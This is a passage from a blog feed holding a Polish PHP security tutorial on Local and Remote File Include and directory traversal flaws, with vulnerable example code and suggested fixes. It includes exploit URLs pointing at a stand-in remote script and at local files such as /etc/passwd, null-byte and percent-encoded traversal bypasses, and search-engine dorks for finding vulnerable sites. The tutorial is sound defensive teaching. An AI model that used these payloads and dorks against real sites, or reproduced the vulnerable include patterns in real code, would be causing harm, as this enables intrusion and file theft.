<img src="http://vivee.info/?ak_action=api_record_view&id=338&type=feed" alt="" /><p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fvivee.info%2F2009%2F01%2F01%2Fpobieranie-danych-z-mysql-w-tle%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p>]]></content:encoded>
			<wfw:commentRss>http://vivee.info/2009/01/01/pobieranie-danych-z-mysql-w-tle/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Jak zabezpieczyć skrypt PHP/MySQL? Część 2: luki Local File Include (LFI) i Remote File Include (RFI)</title>
		<link>http://vivee.info/2008/10/20/jak-zabezpieczyc-skrypt-phpmysql-czesc-2-luki-local-file-include-lfi-i-remote-file-include-rfi/</link>
		<comments>http://vivee.info/2008/10/20/jak-zabezpieczyc-skrypt-phpmysql-czesc-2-luki-local-file-include-lfi-i-remote-file-include-rfi/#comments</comments>
		<pubDate>Mon, 20 Oct 2008 10:28:09 +0000</pubDate>
		<dc:creator>m1chu</dc:creator>
				<category><![CDATA[Skrypty server-side]]></category>
		<category><![CDATA[lfi rfi directory traversal path disclosure php shell]]></category>

		<guid isPermaLink="false">http://vivee.info/?p=164</guid>
		<description><![CDATA[Praktycznie każdy dynamicznie generowany system oparty o rozwiązania dostępne w celu tworzenia aplikacji internetowych działa na zestawie katalogów, a skrupulatniej pisząc także podkatalogów. Operowanie na nich, np. w celu wczytania danego języka czy plików szablonów poprzez użycie danych pochodzących od użytkownika może być przyczyną niemałego problemu. Local File Include, Remote File Include, czy Directory Traversal [...]]]></description>
			<content:encoded><![CDATA[<p>Praktycznie każdy dynamicznie generowany system oparty o rozwiązania dostępne w celu tworzenia aplikacji internetowych działa na zestawie katalogów, a skrupulatniej pisząc także podkatalogów. Operowanie na nich, np. w celu wczytania danego języka czy plików szablonów poprzez użycie danych pochodzących od użytkownika może być przyczyną niemałego problemu. <strong>Local File Include</strong>, <strong>Remote File Include</strong>, czy <strong>Directory Traversal</strong> to fachowe nazwy błędów na które przez niedostateczne zabezpieczenie skryptu możemy być narażeni.</p>
<p><span id="more-164"></span></p>
<h2>Zarys teoretyczny...</h2>
<p>Obydwa typy ataków (zwane razem po prostu <strong>Include File Injection</strong>) są przykładami ogólnie rozumianego <strong>Code Injection</strong>, czyli wstrzykiwania niedozwolonego kodu. Prócz nich do grupy tego typu luk należą m.in. <strong>PHP/ASP Injection</strong>, <strong>SQL Injection</strong>, czy <strong>Shell Injection</strong> które dokładniej przedstawię w kolejnych artykułach o zabezpieczeniach.</p>
<p>O czym zaraz będziecie mogli się przekonać, na pierwszy rzut oka ataki te są podobne do opisywanej już przeze mnie <a title="Arbitrary File Download" href="http://vivee.info/2008/09/24/jak-zabezpieczyc-skrypt-phpmysql-czesc-1-luka-arbitrary-file-download-afd/"><strong>luki AFD</strong></a>, a wszystko przez fakt możliwości wykorzystania błędu poprzez specyficzne dane wprowadzane przez użytkownika. Ich stopień niebezpieczeństwa można wyrazić przez prosty fakt, że nie tylko zagrażają one danemu, podatnemu na nie serwisowi, ale także w niektórych przypadkach całemu serwerowi. Dzieje się tak z powodu możliwości załadowania dowolnego pliku na serwerze ofiary, bądź w zależności od konfiguracji serwera także pliku z serwerów zewnętrznych poprzez dziurawy skrypt.</p>
<p><img src="http://farm4.static.flickr.com/3194/2952290071_995c47c7f5.jpg" alt="Przykładowe LFI na /etc/passwd" /></p>
<h2>Przyczyny tworzenia bugów...</h2>
<p>Obydwa błędy dotyczą funkcji PHP odpowiedzialnych za wczytywanie plików na stronie. Mowa tu np. o <code>include()</code>, <code>include_once()</code>, <code>require()</code>, <code>require_once()</code>, <code>fopen()</code> (a co za tym idzie także <code>fread()</code>), <code>file()</code>, czy <code>file_get_contents()</code>.</p>
<p>Dwa poniższe, teoretyczne przykłady zobrazują Wam jak prosto można stać się ofiarą własnej naiwności, niewiedzy.</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
<span class="re0">$lang</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= <span class="st0">'polish'</span>; <span class="co1">// domyslny jezyk/plik</span><br />
<span class="kw1">if</span> <span class="br0">&#40;</span> <a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_COOKIE</span><span class="br0">&#91;</span><span class="st0">'language'</span><span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="co1">// gdy jezyk jest juz ustawiony w cookies</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$lang</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= <span class="re0">$_COOKIE</span><span class="br0">&#91;</span><span class="st0">'language'</span><span class="br0">&#93;</span>; <span class="co1">// nadpisanie $lang wartoscia ustawiona</span><br />
<span class="br0">&#125;</span><br />
<span class="kw1">else</span> <span class="kw1">if</span> <span class="br0">&#40;</span> <a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">'set_lang'</span><span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="co1">// gdy przekazujemy w parametrze nowy jezyk</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/setcookie"><span class="kw3">setcookie</span></a><span class="br0">&#40;</span><span class="st0">&quot;language&quot;</span>, <span class="st0">&quot;&quot;</span>, <a href="http://www.php.net/time"><span class="kw3">time</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span> - <span class="nu0">3600</span><span class="br0">&#41;</span>; <span class="co1">// usuniecie starego cookie</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/setcookie"><span class="kw3">setcookie</span></a><span class="br0">&#40;</span><span class="st0">&quot;language&quot;</span>, <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">'set_lang'</span><span class="br0">&#93;</span>, <a href="http://www.php.net/time"><span class="kw3">time</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span> + <span class="nu0">3600</span><span class="br0">&#41;</span>; <span class="co1">// wpisanie nowego jezyka do cookies</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$lang</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">'set_lang'</span><span class="br0">&#93;</span>; <span class="co1">// nadpisanie $lang wartoscia</span><br />
<span class="br0">&#125;</span><br />
<span class="re0">$array</span> = <a href="http://www.php.net/file"><span class="kw3">file</span></a><span class="br0">&#40;</span><span class="re0">$lang</span> . <span class="st0">'.txt'</span><span class="br0">&#41;</span>; <span class="co1">// wczytanie do tablicy pliku z jezykiem, domyslnie 'polish.txt'</span><br />
<span class="kw2">?&gt;</span></div>
<p>Kod ten domyślnie mógłby być przez jakiegoś laika używany do zapisywania w cookies języka użytkownika wraz z możliwością jego dynamicznej zmiany poprzez parametr tablicy <strong>GET</strong> skryptu. Niestety brak jakiegokolwiek filtrowania pozwala co lepiej kombinującemu użytkownikowi na manipulowanie i wartością parametru, i zawartością ciasteczka odpowiadającego za przetrzymywanie języka użytkownika.</p>
<p>Przeanalizujmy metodykę działania tego pseudoskryptu:</p>
<div class="code dean_ch" style="white-space: nowrap;">http://strona.pl/index.php?set_lang=polish // do odpowiedniego COOKIE zostanie zapisana wartość 'polish' po czym będzie wczytywany plik 'polish.txt'<br />
http://strona.pl/index.php?set_lang=english // podobnie jak powyżej (zakładając, że obydwa pliki istnieją na serwerze) z tymże zostanie wczytany plik 'english.txt', a zapisana zostanie wartość 'english'</div>
<p>Niby wszystko ok. Co jednak, jeżeli dokonamy edycji ciasteczka, bądź zmienimy nasz parametr w sposób podobny do <code>http://inna_strona.eu/exp.txt?</code>? Wywołamy z zewnętrznego serwera skrypt o rozszerzeniu <strong>txt</strong>. Tak oto otrzymaliśmy prosty przykład <strong>RFI</strong>. Po co ten znak zapytania na końcu? W celu uznania za parametry wszystkiego co znalazłoby się za nim w naszym adresie po przepuszczeniu w danej funkcji PHP (działa to tylko w przypadku RFI i zależne jest od stosowanej funkcji operującej na pliku), a także w celu uruchomienia danego pliku na serwerze ofiary. W naszym przypadku wynikiem będzie:</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="re0">$array</span> = <a href="http://www.php.net/file"><span class="kw3">file</span></a><span class="br0">&#40;</span><span class="st0">'http://inna_strona.eu/exp.txt?.txt'</span><span class="br0">&#41;</span>; <span class="co1">// RFI na http://inna_strona.eu/exp.txt</span></div>
<p>Drugi przypadek może symbolizować prosty system wczytywania podstron. Przykład może pozornie być uważany za bezpieczny z racji zastosowania <code>switch</code>. Niestety w wypadku jeżeli żaden z jego warunków nie zostanie spełniony w <code>default</code> może zostać wykonany praktycznie dowolny kod.</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
<span class="br0">&#91;</span>...<span class="br0">&#93;</span><br />
<span class="kw1">switch</span> <span class="br0">&#40;</span> <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">'page'</span><span class="br0">&#93;</span> <span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">'index'</span>: <span class="co1">// gdy GET page == index</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">require</span> <span class="st0">'index.php'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">'about'</span>: <span class="co1">// gdy GET page == about</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">require</span> <span class="st0">'about.php'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">default</span>: <span class="co1">// w pozostalych wypadkach zostanie wywolany plik errors/dowolny_ciag.php</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">require</span> <span class="st0">'errors/'</span> . <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">'page'</span><span class="br0">&#93;</span> . <span class="st0">'.php'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span>;<br />
<span class="br0">&#125;</span><br />
<span class="br0">&#91;</span>...<span class="br0">&#93;</span><br />
<span class="kw2">?&gt;</span></div>
<p>Podobnie jak w pierwszym przykładzie także tutaj możemy spreparować link, tym razem np. w taki sposób, aby uzyskać <strong>LFI</strong>.</p>
<div class="code dean_ch" style="white-space: nowrap;">http://strona.pl/index.php?page=../hasla.txt</div>
<p>Skorzystanie z takiego odnośnika spowoduje wywołanie pliku <strong>hasla.txt</strong> z głównego katalogu serwisu. Nie trzeba długo myśleć, że w taki sposób można mieć dostęp do każdego niezabezpieczonego pliku na serwerze w tym do będącego najczęstszym przykładem <strong>/etc/passwd</strong>.</p>
<h2>Directory Traversal (DA)?</h2>
<p>W powyższych przykładach nie wspomniałem nic o <strong>Path Disclosure</strong>, bo tak inaczej można nazwać <strong>Directory Traversal</strong>. Pozwala ono na otrzymanie dostępu do plików źródłowych lub ujawnienie innych zasobów znajdujących się na lokalnym serwerze. Manipulując żądaniami podobnie jak w przypadku <strong>Local File Include</strong> możemy otrzymać niepowołany dostęp do w.w. zasobów poprzez np. domyślne odwoływanie się do plików szablonów, czy podstron danego serwisu. To czyni z <strong>DA</strong> synonimiczny typ ataku do wspomnianego przed chwilą <strong>LFI</strong>.</p>
<h2>Poison Null Byte jako panaceum na ominięcie zintegrowanych rozszerzeń...</h2>
<p>Wspomniałem powyżej, że <strong>znak zapytania</strong> na końcu wywoływanego, spreparowanego kodu powoduje w niektórych przypadkach pozbycie się wbudowanego w skrypt rozszerzenia - o ile takowe istnieje. W praktyce działa to tylko w funkcjach sczytujących zawartości plików zewnętrznych, takich jak np. wspomniane <code>file(args);</code>. Nie zadziała to jednak już np. w przypadku integralnie wczytującego <code>include(arg);</code>.</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="re0">$a</span> = <a href="http://www.php.net/file"><span class="kw3">file</span></a><span class="br0">&#40;</span>ADRES . <span class="st0">'?.php'</span><span class="br0">&#41;</span>; <span class="co1">// ok - wywoła plik z rozszerzeniem przed ?, a .php potraktuje jako argument</span><br />
<span class="kw1">include</span><span class="br0">&#40;</span>ADRES . <span class="st0">'?.php'</span><span class="br0">&#41;</span>; <span class="co1">// nie zadziała - .php będzie rozszerzeniem</span></div>
<p>Nasuwają się więc od razu pytania jak sobie poradzić z tym problemem? Czy jest jakiś uniwersalny sposób na przełamanie tego niekiedy przypadkowego zabezpieczenia? Jest i nazywa się <strong>Poison Null Byte</strong>, czyli atak z użyciem bajtu zerowego. Inaczej mówiąc jest to zerowy metaznak w postaci jednej z dwóch następujących form: <strong>%00</strong> lub <strong>%2500</strong>. Drugą z nich używa się w wypadku kiedy strona zabezpieczona jest przed pierwszą. Zamieniamy w nim po prostu <strong>%</strong> na jego szesnastkowy odpowiednik w kodzie ASCII, czyli <strong>%25</strong>. Po dodaniu takiego "pustego" znaku automatycznie przekazujemy do skryptu zakończenie danego ciągu (nakazujemy obcięcie reszty znaków), przez co wszystko co po nim występuje jest automatycznie ignorowane przez parser PHP.</p>
<div class="code dean_ch" style="white-space: nowrap;">http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt%00</p>
<p>http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt%2500</p></div>
<p>Należy pamiętać, że w PHP poniżej wersji <strong>6.0</strong> przy włączonym ustawieniu <strong>"magic_quotes_gpc = On"</strong> zostanie automatycznie przeprowadzona filtracja tego typu ataku. Sama luka wykorzystywana jest <strong>zawsze</strong> w połączeniu z tytularnymi bugami opisywanymi w tym artykule.</p>
<h2>Kiedy jesteśmy narażeni na włamanie?</h2>
<ul>
<li>kiedy <strong>"magic_quotes_gpc = Off"</strong> (php.ini) (brak filtracji bajtów zerowych z poziomu ustawień PHP), bądź kiedy nie używamy <strong>addslashes</strong> lub <strong>mysql_real_escape_string</strong> dla poleceń MySQL,</li>
<li>gdy dyrektywa <strong>"register_globals = On"</strong> (php.ini), z racji tworzenia z parametru tablic superglobalnych <strong>GET/POST/COOKIES</strong> zmiennej o nazwie tegoż argumentu. Przykład:
<div class="code dean_ch" style="white-space: nowrap;">http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt</div>
<p>Utworzy w skrypcie automatycznie zmienną o następującej wartości:</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="re0">$page</span> = <span class="st0">'http://inna_strona.eu/exp.txt'</span>;</div>
</li>
<li>w momencie gdy <strong>"allow_url_fopen = On"</strong> (php.ini) i/lub <strong>"allow_url_include = On"</strong> (php.ini dla funkcji <code>include(arg);</code>, <code>require(arg);</code>, <code>include_once(arg);</code>, <code>require_once(arg);</code> <strong>PHP od wersji 5.2</strong>) które pozwalają na pobieranie w funkcjach operujących na plikach zasobów z zdalnych serwerów lub w momencie kiedy nie blokujemy takiej możliwości bezpośrednio z poziomu skryptu,</li>
<li>kiedy nie zachowujemy podstawowych zasad zachowania bezpieczeństwa w skrypcie w tym wypadku dotyczących ograniczenia korzystania z plików w danych katalogach, o danych rozszerzeniach opierając się o regułę ograniczonego zaufania.</li>
</ul>
<h2>Zagrożenie ze strony modyfikacji kodowania adresu <a title="URL Wiki" href="http://pl.wikipedia.org/wiki/Uniform_Resource_Locator">URL</a>...</h2>
<p>Skupmy się na chwilę na samych parametrach skryptu, czyli na <strong>Query String'u</strong>. Analizując metody zabezpieczeń często zapomina się o filtracji zakodowanej formy adresu na której działanie część serwerów jest narażonych.</p>
<p>Tak więc <strong>../</strong> dla przykładu w heksadecymalnym kodzie ASCII posiada odpowiednik w postaci ciągu <strong>%2e%2e%2f</strong>. Należy zabrać pod uwagę także mieszane formy poprzedniego wzorca, jak np. <strong>..%2f</strong>, <strong>%2e%2e/</strong>, a także formy zgodne z <strong>UTF-8</strong> - czyli dla przykładu <strong>..%c0%af</strong>. Poniżej przedstawiam tabelę części znaków i ich szesnastkowych odpowiedników ASCII.</p>
<p style="text-align: center;"><img src="http://farm4.static.flickr.com/3216/2935684062_aeca59309b_o.png" alt="Znaki ASCII URI" /></p>
<p>Celem ogólnym tego paragrafu jest zaprezentowanie przeze mnie rzadkich, ale niekiedy możliwych do przeprowadzenia metod w.w. ataków za pomocą użycia procentowych, zakodowanych odpowiedników znaków. Uogólniając należy wyjść naprzeciw temu problemowi poprzez usystematyzowanie formy danych wejściowych na jednolite, najlepiej najbliższe ludzkiemu oku - czysto znakowe.</p>
<h2>Jak się zabezpieczyć?</h2>
<p>Na początek można odwrócić wartości dotyczące konfiguracji <strong>php.ini</strong> które podałem w paragrafie <strong>"Kiedy jesteśmy narażeni na włamanie?"</strong>. Nie mniej jednak <strong>"allow_url_fopen = Off"</strong> może być niepowołane w przypadku skryptów docelowo korzystających z jakiegoś zewnętrznego zasobu (np. z danych jakiegoś trackera), a <strong>"magic_quotes_gpc = On"</strong> pomimo, że automatycznie przeprowadza pewien poziom filtrowania to nie jest przeze mnie zalecane z powodu kreowania w webdeveloperze złych nawyków. Reszta zmian jest jak najbardziej wskazana.</p>
<p>Jeśli chodzi już o zabezpieczenia z poziomu skryptu to oprę się o dwa na początku artykułu wymienione przykłady.</p>
<p>Na drugim z nich zaprezentuję sposób najbardziej banalny, gdyż ładujący dane za pomocą ID (oparty o wbudowaną listę plików, choć można to oczywiście zrobić na podstawie np. bazy danych).</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
<span class="kw2">function</span> getPageName<span class="br0">&#40;</span><span class="re0">$page</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$files</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span> <span class="co1">// zbior dozwolonych plikow</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">'index'</span>, <span class="st0">'about'</span>, <span class="st0">'404'</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$counted</span> = <a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$files</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// jezeli podany argument jest wiekszy niz 0 i mniejszy lub rowny liczbie dozwolonych plikow</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//&nbsp; &nbsp; &nbsp; &nbsp; to zwroc nazwe pliku o tym ID</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// inaczej</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//&nbsp; &nbsp; &nbsp; &nbsp; zwroc ostatni dozwolony plik jako blad</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="br0">&#40;</span> <span class="re0">$page</span> <span class="sy0">&lt;</span>= <span class="br0">&#40;</span> <span class="re0">$counted</span> <span class="br0">&#41;</span> <span class="sy0">&amp;&amp;</span> <span class="re0">$page</span> <span class="sy0">&gt;</span> <span class="nu0">0</span> ? <span class="re0">$files</span><span class="br0">&#91;</span><span class="br0">&#40;</span><span class="re0">$page</span>-<span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#93;</span> : <span class="re0">$files</span><span class="br0">&#91;</span><span class="br0">&#40;</span><span class="re0">$counted</span>-<span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#93;</span> <span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><br />
<span class="re0">$page</span> = getPageName<span class="br0">&#40;</span><span class="br0">&#40;</span>int<span class="br0">&#41;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">'page'</span><span class="br0">&#93;</span><span class="br0">&#41;</span>; <span class="co1">// rzutowanie na typ calkowity i wywolanie funkcji zwracajacej nazwe pliku po ID</span><br />
<span class="kw1">switch</span> <span class="br0">&#40;</span> <span class="re0">$page</span> <span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">'404'</span>: <span class="co1">// wyjatek w wypadku bledu</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">require</span> <span class="st0">'./errors/404.php'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">default</span>: <span class="co1">// wczytanie przefiltrowanego pliku</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">require</span> <span class="st0">'./'</span> . <span class="re0">$page</span> . <span class="st0">'.php'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span>;<br />
<span class="br0">&#125;</span><br />
<span class="kw2">?&gt;</span></div>
<p>Przykład banalny i za pewnie przydatny tylko w przypadku małych i prostych skryptów. Wypadałoby go zautomatyzować i na tym będzie się opierał pierwszy przerobiony z wyżej opisanych, niezabezpieczonych kodów.</p>
<p>Oprzemy się tutaj na użyciu funkcji <code>basename()</code> (w celu wyodrębnienia nazwy pliku z całego ciągu), <code>addslashes()</code> (dodaj znaki unikowe), <code>urldecode()</code> (dla zakodowanych procentowych form znaków) oraz <code>html_entity_decode()</code> (aby pozbyć się encji). Przykład zabroni całkowicie pobierania z zewnętrznych serwerów. Jeśli jednak skrypt wymagałby tego to należy <strong>zabronić</strong> użytkownikowi podawania adresu do takowego pliku i po prostu umieścić jego adres na stałe w skrypcie. Ważnym jest też fakt, aby pamiętać, że jeśli ten zdalny plik nie leży na jednym z zarządzanych przez nas serwerów to musimy liczyć się z tym, iż jego zawartość może zmienić się na przeznaczoną do dokonania włamania. <strong>Bezwzględnie powinno się filtrować także zawartość takich plików!</strong></p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
<span class="re0">$files_catalog</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="st0">'./'</span>; <span class="co1">// katalog z plikami</span><br />
<span class="re0">$lang</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="st0">'polish'</span>; <span class="co1">// domyslny jezyk/plik</span><br />
<span class="kw1">if</span> <span class="br0">&#40;</span> <a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_COOKIE</span><span class="br0">&#91;</span><span class="st0">'language'</span><span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="co1">// gdy jezyk jest juz ustawiony w cookies</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// nadpisanie $lang wartoscia ustawiona wraz z filtracja</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$lang</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <a href="http://www.php.net/addslashes"><span class="kw3">addslashes</span></a><span class="br0">&#40;</span><a href="http://www.php.net/basename"><span class="kw3">basename</span></a><span class="br0">&#40;</span><a href="http://www.php.net/html_entity_decode"><span class="kw3">html_entity_decode</span></a><span class="br0">&#40;</span><a href="http://www.php.net/urldecode"><span class="kw3">urldecode</span></a><span class="br0">&#40;</span><span class="re0">$_COOKIE</span><span class="br0">&#91;</span><span class="st0">'language'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><br />
<span class="kw1">else</span> <span class="kw1">if</span> <span class="br0">&#40;</span> <a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">'set_lang'</span><span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="co1">// gdy przekazujemy w parametrze nowy jezyk</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// filtracja danych wejsciowych</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$lang</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= <a href="http://www.php.net/addslashes"><span class="kw3">addslashes</span></a><span class="br0">&#40;</span><a href="http://www.php.net/basename"><span class="kw3">basename</span></a><span class="br0">&#40;</span><a href="http://www.php.net/html_entity_decode"><span class="kw3">html_entity_decode</span></a><span class="br0">&#40;</span><a href="http://www.php.net/urldecode"><span class="kw3">urldecode</span></a><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">'set_lang'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/setcookie"><span class="kw3">setcookie</span></a><span class="br0">&#40;</span><span class="st0">&quot;language&quot;</span>, <span class="st0">&quot;&quot;</span>, <a href="http://www.php.net/time"><span class="kw3">time</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span> - <span class="nu0">3600</span><span class="br0">&#41;</span>; <span class="co1">// usuniecie starego cookie</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/setcookie"><span class="kw3">setcookie</span></a><span class="br0">&#40;</span><span class="st0">&quot;language&quot;</span>, <span class="re0">$lang</span>, <a href="http://www.php.net/time"><span class="kw3">time</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span> + <span class="nu0">3600</span><span class="br0">&#41;</span>; <span class="co1">// wpisanie nowego jezyka do cookies</span><br />
<span class="br0">&#125;</span><br />
<span class="kw1">if</span> <span class="br0">&#40;</span> <a href="http://www.php.net/file_exists"><span class="kw3">file_exists</span></a><span class="br0">&#40;</span><span class="re0">$files_catalog</span> . <span class="re0">$lang</span> . <span class="st0">'.txt'</span><span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="co1">// wczytanie danych TYLKO gdy plik istnieje</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$array</span> = <a href="http://www.php.net/file"><span class="kw3">file</span></a><span class="br0">&#40;</span><span class="re0">$files_catalog</span> . <span class="re0">$lang</span> . <span class="st0">'.txt'</span><span class="br0">&#41;</span>; <span class="co1">// wczytanie do tablicy pliku z jezykiem, domyslnie 'polish.txt'</span><br />
<span class="br0">&#125;</span><br />
<span class="kw2">?&gt;</span></div>
<h2>Bo człowiek najlepiej uczy się na przykładach...</h2>
<p>Szukać opisywanych błędów można w podobny sposób jak w temacie o <a title="Arbitrary File Download" href="http://vivee.info/2008/09/24/jak-zabezpieczyc-skrypt-phpmysql-czesc-1-luka-arbitrary-file-download-afd/"><strong>Arbitrary File Download</strong></a> (w slangu tzw. dorki). Pomijając pisane do tego specjalnie skrypty/programy, za pomocą wyszukiwarki. Frazeologia także nie różni się tak bardzo. Opieramy po prostu wyszukiwanie na parametrach skryptu pod którymi może występować luka, takimi jak <strong>f=</strong>, <strong>file=</strong>, <strong>site=</strong>, <strong>page=</strong>, czy <strong>plik=</strong>.</p>
<div class="code dean_ch" style="white-space: nowrap;">inurl: &quot;.php?f=&quot;<br />
inurl: &quot;.php?page=&quot;<br />
inurl: &quot;.php?file=&quot;<br />
inurl: &quot;.php?plik=&quot;<br />
inurl: &quot;.php?site=&quot;</p>
<p>inurl:.pl (&quot;.php?page=&quot; OR &quot;.php?plik=&quot;)</p></div>
